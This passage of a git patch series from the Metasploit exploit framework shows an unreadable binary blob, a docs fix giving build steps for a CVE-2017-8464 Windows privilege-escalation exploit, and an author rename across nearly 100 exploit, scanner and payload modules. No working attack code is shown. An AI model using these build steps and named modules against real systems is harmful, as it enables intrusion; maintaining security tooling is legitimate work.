z5^5%WbODH;12FDkbV4iB&q(+PfaqM*7<(9<&)eFuMp>JO(Ki85G)6-;&|Uvo%!StZ
z7N`ym=k#mxx`2<D!WYGusL6}Z)pJ~EaNDER+gr9hf)8P8Kluw6?91V!t70g2lW(tz
zMV2oEhb(DnUS8->z}L%FZf^-i^>-Q29gM5^LCH3HE0_>Ip%1U;AS(`5$)mwx&C|p~
zJU*g-!mu4eLeaomy*p3|j%Mh4-a#LTuS5|)_D={*L>%nPT6J^n^EysE9e(B-Ah_Ts
zD%KM?+1N|_kUuT0&`53)nz#(|oH2b5?ZcGZV~{J3K;#vQ$T#>wMW{;OGaZzyg*o(m
z2zFy#m!T^(sPFk5VLMAnT_G3q&hIbJ(~y&jOY^j78^!Fr<Unv(7tEwdtDv%ME2ejZ
zj}8?ilgYIHy<}rDd2A~9N5y@@oL;gxp>_Zz#)1ir^NkI9NezJ?qmdkNzOnv8(V7>3
z7!&T#Bx;C9jaX5QkM?Jh9jU%0ljiwZ<Lx0+4o!d>O_43k4nx<W5eW-db2OW*uI(+b
zmzD~~i0I=BAZ=*)Tr!zjl{thMBm~B2<S`tIxRL2a8jxLv_JJfl-<sv(E6b|Ied6KZ
zaBk?3XwW*gw*)pSjw4jZZ=Z%qZ_3jWQ;g<lqJs!3u&DS#Xi&%uo>d2C6NR`sPeZ-)
zFH?HQBOCvcOkxOpDuaK&Ka-?jipgMKt{8_4-4qKyc{Q<*Pl3E}S#sRi;HYZDo$+s^
z7zn=|*BAf8rA!!B>V?2Jf@f8MUg{mM?4Lemk`v!!_9T+d_|GSeO^S?3YEO_SMV$1Z
zmC)^cM(^TSqFJBEf2FL!`Dni^cIY*-wlajdB}DyL;q=1L9`uHvqKT*W&v0&kW~bsT
zw2iT$gs({zdHGU#o-w`<^spIroMJC{xh{SNs)JUSI2Nf9-$exJ&4GR4pGEKut`w#=
zY{v$~RtrU+CSk&*WT9#3fnO&LPqI#}_<ZP)FbP9wbn*}?4`;)DUW2v=QtJc$H^m}j
z5886XxrrG)3qe3C(=x8vzU?iQm1s$}O%Oo1qg7IwhE<lNmPk@F;(I_*!$-w;DS*A4
z6hDMJN_S|bn{*#NF1~r@)$kJFK6;#wo_Te?^F`mRYhMiBk;ReA2~*WIT5R(8Bm>7K
zbaEqUa6meu#ywH}Q&Cuq`52T1`>^LkaJWJW==wb;$r$}~RB>WC!i9%TLW@I=DJ3ww
zkkd{?oEQO><T(*ucoMqnXbeg^UfCvPZd8$%B`zGmSjpXqvB_gn&B@?!HnbCKj>J2W
zGr_%L!mp);15(WqS>y?_M0zw<kwhabW<zY2n42ehj>P9;q~tl0=v1uL3g%11elXBr
zl}e#P(r^U0P_(K_oFL4UE}<^5D35|*(omP4$HmeFHnZcvR4EhB&5OTx37Z=0qP42z
zqrqZMe{VGGJ(aQ?8SYeY*x2tOLva0`Q&f-~$-{Iutd=zpV^zZPuxCW>B43CH;kGn$
z$wq=D&#3@&k)z8Jvt_CgCVCxdRVCGAi5Z|F)KSSZvV>KtS(FTWN5$i-ZoVldFJ<>|
z1uU0xC76PCSbPO$BgXh>Rq$-GO1L$=GfI0fH?KcLm3)j4g*;9CT9AdJ%a@0rJqdJR
z8Yq$mnmr#~k|=~PVB3<j#&=vygaNIzb3X_Z*)$r&@e>SRRTVhQpH2_16i3oV<D<XH
zBx%g+9(;$ic(Z$WCaD}cjusj4<6rcL{-D&!pU4%+tuYzuP8uGCMhH99hb}hRJleQW
z;CF~IigP}LuJBG`lr%hm5zvwOa*@2p<Avx!K$sMKmI)IMg1-lS@&AxJp20e#!zRf_
zuumHPAj@V>`=j$%j;S4g1F;#*rz*_#Jrvu+Y>KotQ=l8vB?(D`vZu!EB{90R&6u&e
zhc_W9=@0G31Th$z?1m;}0@`=PllC3+nf)mh^*u#cedJ4^qK&L!=M}kE(y#+W;d`F}
zH!KNdP87$Fef-P*5aAflP#<cFfwfCu8InS6Y~G}yD<wrN)98B+125Sg0WNvey$dwL
zL?lq7nSqOy@W$Mza_E<!i=T#Z!uK8rcX8iuE&?&497Kmh`+<TV;Io{>Al5^q5mlNX
zT|a1Z<)fZM{U{LxSed1i=@_(9QJ3&I%94ggrtVD2n%)IY3LS)$@Uyv4r9VWUYEDI`
zI*Y}ID5w#rWrfP~vPv-o;&gNmLaC)Y1WI@W*wcBTMQjzH53}W=@U|3;?tPMGh|y_2
zI%S-eGs)54kb`lc?|zo8D;-*FRG?f|P`vjDR7<Nh0=4801T_*noJO#az>F+QTP~Jq
zL#KtwZ1OCCoo_B|DYk`n;6zK!CB4OZn7MMs`5?~F;2k<uU<!o+ga9uTV@cZq9KB7E
zv46<6^V2!w_u*Q>QL;jgzGpL8QNs?1_<cxf(p1f$B9e4oxk5(dhOzAE(4x#isgcU_
zOeDOMQm`0WIn;82n%x9|$R)(JKq!LP<scqMo*L}SN1%*FKtw!}1}oXVFMn0)ARo&&
zKw>05JT@&mF>zet&^&XT&iP&rxqyW5CtQg=(-cV#Fif~oBb91I1N9;T4F&sjAIB(P
zrTdF?Mf5rdJDU`yBSF+9vma#bgeq_fdPZ^)bwZF8?8{jd;|CKNVk}&yl5pN(6mBge
zi37MODEjqkkhDYk#E)ZgKAcGi+LwuYC=01!7oM5DSx^M)n%Wv{tGE}vSGq^gpBdPe
zjox72OgYg66|=}QY}GZ=>bxw=>b&fv;U_?dFC+~QQ`w(1^ijEwtp-^zF4KcH2awAr
z_&51;-RGE)9C75#fM_EvJ|ir$d&fWhw*0xpP$Y4J?1OU)9@C%6A;p`d;i8g96Ry$p
zXKK)<S;0W~<V3?sOmo|D`p}^ZZn*6r8f>1TXQY>ABzjII4X0$SFm4^9K+>RLdrTvr
z0_5o=h0XU<MyZYOMLbR?aFk}1Bg-6B3s?X_z8k>-;O5NUNGtOdUo=uO0Z#EpkuWJY
z7?z2S&tGZ%gKizP%OJkO<o-<7z?^W66fQzCFBD?s<vSRp?8)!i-qL-RK7~IvMcB0}
z0~fZKMn(qSA5TsGOd(N@%-AbvGw02QPKkeO!hLRhb{Zji4RcJzpIAFR`$&ZJ?VSmm
zfvNU#S^$N4cs1g&CQpD-gV9o$Ko{SQcRftrYS;l}Y#epMCXMKeuf<1V>NxHZ`95xv
zY`0+%L#Oq3y#^7IdlOpxV0gJEB29Mg-7ro1mPWl;>)fy3{A)5)Oci`y=lnSEHaLs1
zxC03|j^KWM&vEpIbJruG27|rtWT@T{=W69NE`B}Ysrm+;I9CIY&8F$l8N&1=YN<R&
zj`ms1L6Fo6ZJ11cxboBB+h+xPFkTuw@mpawO;CLWjUX1K3JYMfDTG3yq(R3xWPyVr
zm`M{;1^Z0cTQUCh&;o4iq=Ak`81E#EM+(I6Lz2;()`FJp20Ea3r25yRUrBl*z{Q);
zmaj#<0{GMZkI8L0??e9HpGiHmW#SKD?ZcYVuqO0%H220edrxTMchjN8v;&U2whu<R
zGI(NS8)>n-v21(GEcytJPSoG^V-N&Kr|9ph1-o8CBMgSZ!1k_F8eM2e?pCz+bP_75
z?<oNB9wNpK2VSiY4FeI3>AKGn(m!8P>z}IDO1EpmTj>R<1Qw9@NmdvM1MS^Dea|!+
z@rhC26JQmszQ=<K9j7o(=^Pm1CY(E|V~Gh<xF;gY{ZI01q{3iKtA38ShQCXn@huo7
z6N(J&d##t2i60C_zcV%QEBII86@<9sk#Nx}wk~1ovzQ^L8j-Sa2Ye&E@L<}3DsT`X
z)YHPJT}R*ZI;g{*{j@LSh1Kjv9f{X*T5!p8aJ;7^!s+)7vc)Xe3L!dgq#HG%1Nxrd
zV7-T?qpja{KeNsNjxf9q3I3K^oPOSb<mtQiMb&@^#v}26L#m<Q<vG|SZlV6P(e<0R
z5F<S?dg@Z~SobSnlI+4wX5O)}(akjaDbK;J6A~{F+x_YZxJog`iztUFPCPD6B{xxh
zD9zEZS<TT(rJr%w7tXR|ht^3)>$DSXw(sThC>Qvx;E*&#uoI*!x=_dMTbjjT>qu_e
z9yl5Eam>jVy5G}Vuzks6I7)TMW3-e;B99x8R%t_nfx$Gl0T#kFh|ls-ww~+l0c*Mg
zDEour8J14Na#~Fu+=+{4VSlg`{(5X<qryy7qmhSnR@SjsQBh>NrfABLu#-$&2ZtdQ
z=k;zFG?_S+UQZT3Ne3LGM(Cjj6}^&7`Da>nW(b2K1wM9}l;Mm8CMOn2TIXv*zWBU!
zy%ys?Ob<xU^)vjWd0KG+JB7^n7T|p1#H--4jf98;iPzKl2qsE9wC6jphVKfTb%Cjh
z-SnXcflHq-u}B(!H}I^1k%2duc@Ty!l2$O`JCO{B2F2rn5Bf7n9EcHZ$PTQQTKzla
z^-4UHwwJ<RxJ;&|^%;{czmJt2=b$q5So|^U=Am!G>@=VFkEyi=E%}&Hmlkz9=t~<R
z6GtEN((c=Grl{oC9x?JS_(D^+W8q4rKk>2>IF$2nSv5|09pymksv`X^-vs@x>$5|r
z!{r${!sYydh*YU_zP@3ix>D;r?9&DJs)Esc=ZAqf*7#=PulT#P32A0gUi=Q^qWq!Y
zsCL7YrfxTFPDq{te-#Iq$3}J&E<P9f!<v8WEkaAbYil+NEGO01O$e{n=7ioCUgS?F
zrbL4KRKZxj^UuQ7@M<k$x_oWH<##ef!C~GY=C3R4n<8lOhgOLL?3E(y#UB{cLoM!)
zEvuF_=tH1@1`C)5n7%F?k>z)hF5L;a;hR8)z>b{3ACS)<vd3YcVvmc*+2eq?9~Oy-
zds&%YZ$3IsK5|%P{<8EBl=*i}fJ`~RUB;hI52(g#Kb<gD93jTavdQBo$m8E-<3FRh
ze%DG_=Ru*LKhzXCU3!gCm>4=BTpAogR>79<^}rBbSP<8y2;TfsWlY~gY4L(u9Ei#C
z?t{~XqO7j>3;;bwKYo7Tm$EOt@BLrc*Z4o$7ykA!_)DdEt8P9sus42XVubd?^3NI!
zek|x{Mzu;jl=VM~xDIXJlkKIP$6YWwkgw`@ZG_h^$qpsMOE1b1_DTzM&iz>81xUzz
z7n1`%pYJ>emuEJsjWI_J=n@~0{9pnm&6eij7z<2<b0D%E3k`lJE_Lcwb?+lD5=Wp+
zIwxFG>85LS7%S^DbPrKIIEkA@CF|IbxOOiPE53;#bjxIUG9}~6lf0@9M@S@+ylS;l
zu29OQN?ECt6-qfzDa)0zR4I#;(xjC6N|~pWMx{K7Kt%FRDCJgGrf$H<$8H+hGL#BO
z5p3+_j_c$wNOcN_7oIO~fyz1GtXMp!{Jd{izx?<Mlou>;!2%a7aKQo>EO5aBUp)&9
zAa|m?i5~hglin^rfmg_1y_sCl`0uemYjeZeHMh*-?Xw$OTe;c=>uamLYn%Oo*H_kB
z@ArHCV7j{6Tkl)5uF}^bbgb!Uo!8+PW_xe*a{gKTEZZ#J!TCEoI$Hhf8FFFGQqPL%
z)2DOzqffB3m>HJi@T$UyFBGC*#}&P~eeH%>8|+s4!%(5Q&1-C`Z*C3vyspXIoW@3<
z*Y7u8)oEN;?>Dx07@OPb*Lr99y=#Q#j&{yyT-NLp0`;v+0$$%nHqhH>Z0hhCuWB?l
zY!tkHW4&OkPjexgq{q+<z$Z0oL$k2XxCVcaYBb$;)onyq)85kFv7z1A>GuX2JB;ja
z4C_fQ{ZT8Mym7tP=O@HfjkEFg{R_u5Gz&(5^S8Vy+8fHsT*mwx7S&v9w9U56=8a|(
zZ{y9T0`U1;eRh+X=l_nrFXDNj?{C}si|q16>+og9VF~}CpXuLFuOtQY>+nV%WeTil
zI{-xh!Q0l!LInDI@V!+ra2!|O+Pbj5xxJJ(Q|rR>)w4il=a|k1*CW>B@76oV;WlmH
zxJ|%i15(cba7JIM_1SVA@S6d50v-YE07L;t0rdO{<tRXlgCz%G1yleU0bPK50KWi4
z0Rw>d0G|M|1df{lumTnV8UQ}Pw*fx_{2CAi90a@$7zTU_xHQ0VR|8yt6@WT`0N4z8
z2(Sb2Jm3%@4xr~8N*!$RHNe$?*#JAB6i@+J2Dllp4&Vc90(=(`0sIK?Qvf{|Y%yjF
zKUdb#j<Zv!7JNAVtD75_cHm<U$E`<C=SI}I+qp8Iw_fn#m|lY%V2;1W@AZLVqRMkC
zPJANa?5Z2QLWQ?|t+0-@>!`i7qs7}kza3dX8#}GJbE?Ii-gbo#>qP>>m9=*Gz4Pjk
zmUy{`6j=)c_#p;l>{8lG*FgoyiKg1fY}R>OJ1yqw_WDl$x(@i%5w6_Z>J_|YzGk6$
z4HQ#ylMgsgJ0(u%p*gQ=uFvbOXm0S;`!>#LZ}i;OETrW0k^W@?pU>MaDEe|Q{55WV
zBX?jNRvrx`r_LaI)cXaG&)0!{bqTc>b~FZBy>pvey^HGGyqKL~3@gtcxJ%E+dB_eP
z!jd9NBF1qGQWz}BJa0W>!|jBr-iRczZ7H(1IewBvHBO`+Svf4X{1cb^8LoLvOIZi9
zJ?!cX;xea|e!h{&nBNW?*0&-{I^S$pt1G<q>;DSPnbj2?FuKfuv&$_qFxR0Tx9VKC
zTCu0aJh$2BhveWGW)c1R=594hA}hT<<~i+ayi7%}k2|Wa^7;d9-qb49XsZ8eUTX<g
z)4q=R6V`N%x05nO*aAMl37YCwueX!itXb;ywKcboxi!8~(kyND!%)lWTLWJ1KF#Mc
z;U3p0*)E%{2RZ6fDGVk@xh%*1CWT>>K{V4WuWuIScKE8X&sx2U8*U-8QO$C=Wom0J
z^tN^QHga46S6hoDy`$X=m*no^YU|tlYin79GpTBuu{fAa8)rqmqk-e@Rn=nIS~zn?
ztup3`j9Nc-^qMyK#auPkh5agLt-6U8g!8GJHjr4vT6LS!cTkN1jQ%jyTD|Q!9jMk$
z$UmuT1MN&kp{Bl}10jC7W_?p9VusMff-0R&p96Esm(8i1j~fSFW$<K!?jIR$^i(bK
zRE+7H4}Jfy(B@yi#wVmKz%2IVKeFWSQD^|&(>eiPe((j#udD?k+gox0t+=D-bX{2U
zuk1ShJ&I?^zf--!G{dym)L>d`+G2{Bj+s6&W%8HsM&8b^=DYcO_~-e9{BizmKEs@C
zzT7<BJkPw?ywcol-fI4%In#QBwaU7}+F)(92CO0LUDn@Ok6K5q^KD_<0o&Dfm%YZm
z*1p;PjQxcDFZQm2XA3TNT;(WtR61H6cR98>-g3O}px^&4bAH!(zw?*Qey7bf*Cn`q
z<~ri~PuG;f+`^fKWrcNxfx?}IgN4I|*A$f$eY5BXMcaygRkW|@Xwln6pB7!@p5b=5
zm$_Tqo7_F_JKaBaKj)6Q<L*)Sq~dACmlR)KY%I<%=8Fr9=M*m}URAuW_;B$@#iPYj
zO9Ca4l7BBbUh-ZEXT+UE#c|h|YG8>irbkRqnD&`oG7XyEH>voG_<!aX^Ywfa-@<R^
zzt2C&|CIj~-^c%+ALLK+lg+v28D^Kc)O@3PiFt*&+3YtzXnxZCviU7@h9%2lvN$bU
zEe~0KZF$i$U^!}e)AFt*$NF_EZ}nOQ>qhHlt7!e9b*J^P^)>68R*h}4jkgup%5BZI
zZrfe92W<agd)Bt!_Ok6QTf(NcPqM#cf6M-X{j~k8y{2GI!L0?i7i=!rTJZaVw+cQe
zI9)KoG2QVm4x6LM5pw*%@t|X;Bj$M3G3a>P5qA_gmpE&kUT2H*5$DU!8LsPGW|zx#
zy=#H1%C*wf;JU@-bA8LT+4Viw4_!ZU{nXXxqTd~}zx{W>!Aj+yE3Y%PnmU2!y5zRb
zlw-=Jc0_J#Oj?u9lx5;}$Ukk)GMP-3rmdz&O(#qo{Hl|W@JO<W9rv%M?L{vZy;+p)
zZg$`8-sL{*{xA1AcXqL@xUzU<acl9@#V-}VU3{i^ddd8fTS`JD_m}J{d8y>B5^ezZ
zMvT{+noaGd4W=&BHmuhxrjJYpzJM>~8~7gn=lp&?+q@9#A(@}HB&`XD$GOPafY}Sq
z2b{gmUpSw0o^YOXUgIitRTUPLRF-s>JXrF}l079amc&cI`~=5-c74*SvpH-Hw#oMA
ziq!6GcY(XjeTQ3e|G@oo_X%igEG{o@FP>4tjo_^ahFxv0HGj{%$NY|&vsf(kmVhN}
z`I%*p<rT|2mQO4eYlXEAJLNI!OIDYCk-fpb-afrx)OAhatA!YhH!yYhyw|qZcG&i=
zEyMmVcEK*%e`tTqzSn-({+c~u|InVaw-<cB;1>m-6wGimJHG9B%<+=r9mh1M**VYY
z$3A+@xyQNJ`HFMUImu;o@vair4Orc7*OVeIOU11K|D{;N&DiY^!P6f%9XDOZ^Lz>K
zftPRQ_wh&g*ZDaAXZ{SYf@imzx0vrU|H}Nd`K0-M^BMCwv(|Ez#bfbWO00Rd<+ign
zFf^*T3KT!#2l%u6By$~`|3~JDmZg~ePRoAF4C{^74(kKfkF1y4ifk)w-?lwrQ`xVz
z7ug@SUs_OHu%zIYf)>XU^gjVqsyO<4;vqiI>b7+iJnFdI<t@C?eLt;9or?M6-Sl#_
zQ<j-)nrC{_WaS&-SI<EAQ9jqa$^59f&pcwzw&YpnS?Vm0SmG9|wbA;B^%QnkHrDfD
d+kowaE!RHNUT2Tmxrog7O6!AGaQ=Vs{5O&ZAU*&9

literal 0
HcmV?d00001


From 19e3e181c101a9b535b4a7cf991f4e35950a1fd9 Mon Sep 17 00:00:00 2001
From: bwatters-r7 <bwatters@rapid7.com>
Date: Wed, 8 Nov 2017 09:36:32 -0600
Subject: [PATCH 121/254] Fix compiling instructions

---
 .../modules/exploit/windows/local/cve_2017_8464_lnk_lpe.md    | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/documentation/modules/exploit/windows/local/cve_2017_8464_lnk_lpe.md b/documentation/modules/exploit/windows/local/cve_2017_8464_lnk_lpe.md
index b5f4c8bba9..2d04740313 100644
--- a/documentation/modules/exploit/windows/local/cve_2017_8464_lnk_lpe.md
+++ b/documentation/modules/exploit/windows/local/cve_2017_8464_lnk_lpe.md
@@ -160,5 +160,7 @@ Server username: NT AUTHORITY\SYSTEM
 ```
 
 ## Compiling instructions
-Run `data/exploits/cve-2017-8464/src/build.sh`
+`cd ./external/source/exploits/cve-2017-8464`
+`./build.sh`
+
 (Requires `mingw-w64` package)

From 2f6da8967487535a9146b9b7aba87b56d0b29e82 Mon Sep 17 00:00:00 2001
From: Patrick Webster <patrick@ironclad>
Date: Thu, 9 Nov 2017 03:00:24 +1100
Subject: [PATCH 122/254] Change author name to nick.

---
 lib/msf/core/author.rb                                      | 2 +-
 modules/auxiliary/admin/cisco/vpn_3000_ftp_bypass.rb        | 2 +-
 modules/auxiliary/admin/http/contentkeeper_fileaccess.rb    | 2 +-
 modules/auxiliary/admin/http/hp_web_jetadmin_exec.rb        | 2 +-
 .../auxiliary/admin/http/iomega_storcenterpro_sessionid.rb  | 2 +-
 modules/auxiliary/admin/http/tomcat_utf8_traversal.rb       | 2 +-
 modules/auxiliary/admin/http/trendmicro_dlp_traversal.rb    | 2 +-
 modules/auxiliary/admin/officescan/tmlisten_traversal.rb    | 2 +-
 modules/auxiliary/admin/pop2/uw_fileretrieval.rb            | 2 +-
 modules/auxiliary/admin/smb/check_dir_file.rb               | 2 +-
 modules/auxiliary/dos/cisco/ios_http_percentpercent.rb      | 2 +-
 modules/auxiliary/dos/http/3com_superstack_switch.rb        | 4 ++--
 modules/auxiliary/dos/http/dell_openmanage_post.rb          | 2 +-
 modules/auxiliary/dos/http/sonicwall_ssl_format.rb          | 2 +-
 modules/auxiliary/dos/pptp/ms02_063_pptp_dos.rb             | 2 +-
 modules/auxiliary/dos/smtp/sendmail_prescan.rb              | 2 +-
 modules/auxiliary/dos/windows/ftp/filezilla_admin_user.rb   | 2 +-
 modules/auxiliary/dos/windows/ftp/filezilla_server_port.rb  | 2 +-
 modules/auxiliary/gather/checkpoint_hostname.rb             | 4 ++--
 modules/auxiliary/gather/citrix_published_applications.rb   | 2 +-
 modules/auxiliary/gather/citrix_published_bruteforce.rb     | 2 +-
 modules/auxiliary/scanner/http/cisco_ios_auth_bypass.rb     | 2 +-
 modules/auxiliary/scanner/http/dir_webdav_unicode_bypass.rb | 4 ++--
 .../scanner/http/ms09_020_webdav_unicode_bypass.rb          | 4 ++--
 modules/auxiliary/scanner/http/soap_xml.rb                  | 2 +-
 modules/auxiliary/scanner/http/squiz_matrix_user_enum.rb    | 2 +-
 modules/auxiliary/scanner/varnish/varnish_cli_login.rb      | 2 +-
 .../exploits/linux/http/alcatel_omnipcx_mastercgi_exec.rb   | 2 +-
 modules/exploits/linux/http/piranha_passwd_exec.rb          | 2 +-
 modules/exploits/linux/imap/imap_uw_lsub.rb                 | 2 +-
 modules/exploits/linux/misc/gld_postfix.rb                  | 2 +-
 modules/exploits/multi/misc/openview_omniback_exec.rb       | 4 ++--
 modules/exploits/multi/misc/veritas_netbackup_cmdexec.rb    | 2 +-
 modules/exploits/multi/ntp/ntp_overflow.rb                  | 2 +-
 modules/exploits/unix/http/contentkeeperweb_mimencode.rb    | 2 +-
 modules/exploits/unix/misc/spamassassin_exec.rb             | 2 +-
 modules/exploits/unix/smtp/clamav_milter_blackhole.rb       | 2 +-
 modules/exploits/unix/webapp/awstats_migrate_exec.rb        | 2 +-
 modules/exploits/unix/webapp/awstatstotals_multisort.rb     | 2 +-
 modules/exploits/unix/webapp/dogfood_spell_exec.rb          | 4 ++--
 modules/exploits/unix/webapp/guestbook_ssi_exec.rb          | 2 +-
 modules/exploits/unix/webapp/phpbb_highlight.rb             | 2 +-
 modules/exploits/unix/webapp/sphpblog_file_upload.rb        | 2 +-
 modules/exploits/unix/webapp/wp_foxypress_upload.rb         | 2 +-
 modules/exploits/windows/brightstor/discovery_tcp.rb        | 2 +-
 modules/exploits/windows/brightstor/discovery_udp.rb        | 2 +-
 modules/exploits/windows/brightstor/message_engine.rb       | 2 +-
 modules/exploits/windows/brightstor/tape_engine.rb          | 2 +-
 modules/exploits/windows/browser/barcode_ax49.rb            | 4 ++--
 .../windows/browser/ebook_flipviewer_fviewerloading.rb      | 2 +-
 .../exploits/windows/browser/juniper_sslvpn_ive_setupdll.rb | 2 +-
 modules/exploits/windows/browser/tumbleweed_filetransfer.rb | 2 +-
 modules/exploits/windows/fileformat/altap_salamander_pdb.rb | 2 +-
 modules/exploits/windows/fileformat/cain_abel_4918_rdp.rb   | 2 +-
 modules/exploits/windows/fileformat/destinymediaplayer16.rb | 2 +-
 modules/exploits/windows/fileformat/ursoft_w32dasm.rb       | 2 +-
 .../exploits/windows/fileformat/zinfaudioplayer221_pls.rb   | 2 +-
 modules/exploits/windows/ftp/dreamftp_format.rb             | 2 +-
 modules/exploits/windows/ftp/leapftp_pasv_reply.rb          | 2 +-
 modules/exploits/windows/ftp/sami_ftpd_user.rb              | 2 +-
 modules/exploits/windows/ftp/sasser_ftpd_port.rb            | 2 +-
 modules/exploits/windows/games/racer_503beta5.rb            | 2 +-
 modules/exploits/windows/http/amlibweb_webquerydll_app.rb   | 4 ++--
 modules/exploits/windows/http/apache_mod_rewrite_ldap.rb    | 6 +++---
 modules/exploits/windows/http/ca_igateway_debug.rb          | 2 +-
 modules/exploits/windows/http/mcafee_epolicy_source.rb      | 2 +-
 .../exploits/windows/http/mdaemon_worldclient_form2raw.rb   | 4 ++--
 modules/exploits/windows/http/psoproxy91_overflow.rb        | 2 +-
 modules/exploits/windows/http/sambar6_search_results.rb     | 2 +-
 modules/exploits/windows/http/savant_31_overflow.rb         | 2 +-
 modules/exploits/windows/http/steamcast_useragent.rb        | 2 +-
 modules/exploits/windows/http/webster_http.rb               | 2 +-
 modules/exploits/windows/http/xitami_if_mod_since.rb        | 2 +-
 modules/exploits/windows/iis/ms02_065_msadc.rb              | 4 ++--
 modules/exploits/windows/iis/msadc.rb                       | 4 ++--
 modules/exploits/windows/imap/mdaemon_fetch.rb              | 2 +-
 modules/exploits/windows/isapi/ms00_094_pbserver.rb         | 2 +-
 modules/exploits/windows/ldap/pgp_keyserver7.rb             | 2 +-
 modules/exploits/windows/license/calicclnt_getconfig.rb     | 4 ++--
 modules/exploits/windows/license/calicserv_getconfig.rb     | 4 ++--
 modules/exploits/windows/lotus/domino_sametime_stmux.rb     | 2 +-
 modules/exploits/windows/misc/bigant_server_250.rb          | 4 ++--
 modules/exploits/windows/misc/mirc_privmsg_server.rb        | 2 +-
 modules/exploits/windows/misc/netcat110_nt.rb               | 2 +-
 modules/exploits/windows/misc/sap_2005_license.rb           | 4 ++--
 modules/exploits/windows/proxy/ccproxy_telnet_ping.rb       | 2 +-
 modules/exploits/windows/proxy/qbik_wingate_wwwproxy.rb     | 2 +-
 modules/exploits/windows/scada/citect_scada_odbc.rb         | 2 +-
 modules/exploits/windows/smtp/mailcarrier_smtp_ehlo.rb      | 2 +-
 .../exploits/windows/smtp/ms03_046_exchange2000_xexch50.rb  | 2 +-
 modules/exploits/windows/telnet/gamsoft_telsrv_username.rb  | 2 +-
 modules/exploits/windows/tftp/attftp_long_filename.rb       | 2 +-
 modules/exploits/windows/tftp/dlink_long_filename.rb        | 2 +-
 modules/exploits/windows/tftp/tftpdwin_long_filename.rb     | 2 +-
 modules/exploits/windows/vnc/winvnc_http_get.rb             | 2 +-
 modules/payloads/singles/cmd/windows/bind_perl.rb           | 2 +-
 modules/payloads/singles/cmd/windows/bind_perl_ipv6.rb      | 2 +-
 modules/payloads/singles/cmd/windows/reverse_perl.rb        | 2 +-
 98 files changed, 115 insertions(+), 115 deletions(-)

diff --git a/lib/msf/core/author.rb b/lib/msf/core/author.rb
index e5ca594bdd..6dab2bee99 100644
--- a/lib/msf/core/author.rb
+++ b/lib/msf/core/author.rb
@@ -17,6 +17,7 @@ class Msf::Author
   KNOWN = {
     'amaloteaux'          => 'alex_maloteaux' + 0x40.chr + 'metasploit.com',
     'anonymous'           => 'Unknown',
+    'aushack'             => 'patrick' + 0x40.chr + 'osisecurity.com.au',
     'bannedit'            => 'bannedit' + 0x40.chr + 'metasploit.com',
     'Carlos Perez'        => 'carlos_perez' + 0x40.chr + 'darkoperator.com',
     'cazz'                => 'bmc' + 0x40.chr + 'shmoo.com',
@@ -39,7 +40,6 @@ class Msf::Author
     'mubix'               => 'mubix' + 0x40.chr + 'hak5.org',
     'natron'              => 'natron' + 0x40.chr + 'metasploit.com',
     'optyx'               => 'optyx' + 0x40.chr + 'no$email.com',
-    'patrick'             => 'patrick' + 0x40.chr + 'osisecurity.com.au',
     'pusscat'             => 'pusscat' + 0x40.chr + 'metasploit.com',
     'Ramon de C Valle'    => 'rcvalle' + 0x40.chr + 'metasploit.com',
     'sf'                  => 'stephen_fewer' + 0x40.chr + 'harmonysecurity.com',
diff --git a/modules/auxiliary/admin/cisco/vpn_3000_ftp_bypass.rb b/modules/auxiliary/admin/cisco/vpn_3000_ftp_bypass.rb
index 267a21fa22..d7d8a45b5d 100644
--- a/modules/auxiliary/admin/cisco/vpn_3000_ftp_bypass.rb
+++ b/modules/auxiliary/admin/cisco/vpn_3000_ftp_bypass.rb
@@ -17,7 +17,7 @@ class MetasploitModule < Msf::Auxiliary
         verifies that the directory has been created, then deletes it and verifies deletion
         to confirm the bug.
       },
-      'Author'		=> [ 'patrick' ],
+      'Author'		=> [ 'aushack' ],
       'License'		=> MSF_LICENSE,
       'References'	=>
         [
diff --git a/modules/auxiliary/admin/http/contentkeeper_fileaccess.rb b/modules/auxiliary/admin/http/contentkeeper_fileaccess.rb
index b52505b78b..24ad229369 100644
--- a/modules/auxiliary/admin/http/contentkeeper_fileaccess.rb
+++ b/modules/auxiliary/admin/http/contentkeeper_fileaccess.rb
@@ -20,7 +20,7 @@ class MetasploitModule < Msf::Auxiliary
           [ 'OSVDB', '54551' ],
           [ 'URL', 'http://www.aushack.com/200904-contentkeeper.txt' ],
         ],
-      'Author'      => [ 'patrick' ],
+      'Author'      => [ 'aushack' ],
       'License'     => MSF_LICENSE)
 
     register_options(
diff --git a/modules/auxiliary/admin/http/hp_web_jetadmin_exec.rb b/modules/auxiliary/admin/http/hp_web_jetadmin_exec.rb
index 2b4f81af1c..3c6d4bc109 100644
--- a/modules/auxiliary/admin/http/hp_web_jetadmin_exec.rb
+++ b/modules/auxiliary/admin/http/hp_web_jetadmin_exec.rb
@@ -17,7 +17,7 @@ class MetasploitModule < Msf::Auxiliary
         systems, however at this stage the module only works against Windows.
         This module does not apply to HP printers.
       },
-      'Author'         => [ 'patrick' ],
+      'Author'         => [ 'aushack' ],
       'License'        => MSF_LICENSE,
       'References'     =>
         [
diff --git a/modules/auxiliary/admin/http/iomega_storcenterpro_sessionid.rb b/modules/auxiliary/admin/http/iomega_storcenterpro_sessionid.rb
index 76f03693a3..e33e2f3163 100644
--- a/modules/auxiliary/admin/http/iomega_storcenterpro_sessionid.rb
+++ b/modules/auxiliary/admin/http/iomega_storcenterpro_sessionid.rb
@@ -19,7 +19,7 @@ class MetasploitModule < Msf::Auxiliary
           [ 'OSVDB', '55586' ],
           [ 'CVE', '2009-2367' ],
         ],
-      'Author'      => [ 'patrick' ],
+      'Author'      => [ 'aushack' ],
       'License'     => MSF_LICENSE
     )
 
diff --git a/modules/auxiliary/admin/http/tomcat_utf8_traversal.rb b/modules/auxiliary/admin/http/tomcat_utf8_traversal.rb
index 98f66d9436..2680d65785 100644
--- a/modules/auxiliary/admin/http/tomcat_utf8_traversal.rb
+++ b/modules/auxiliary/admin/http/tomcat_utf8_traversal.rb
@@ -29,7 +29,7 @@ class MetasploitModule < Msf::Auxiliary
           [ 'CVE', '2008-2938' ],
           [ 'URL', 'http://www.securityfocus.com/archive/1/499926' ],
         ],
-      'Author'         => [ 'patrick','guerrino <ruggine> di massa' ],
+      'Author'         => [ 'aushack','guerrino <ruggine> di massa' ],
       'License'        => MSF_LICENSE,
       'DisclosureDate' => 'Jan 9 2009'
     )
diff --git a/modules/auxiliary/admin/http/trendmicro_dlp_traversal.rb b/modules/auxiliary/admin/http/trendmicro_dlp_traversal.rb
index 3fc6403248..0e5679db0c 100644
--- a/modules/auxiliary/admin/http/trendmicro_dlp_traversal.rb
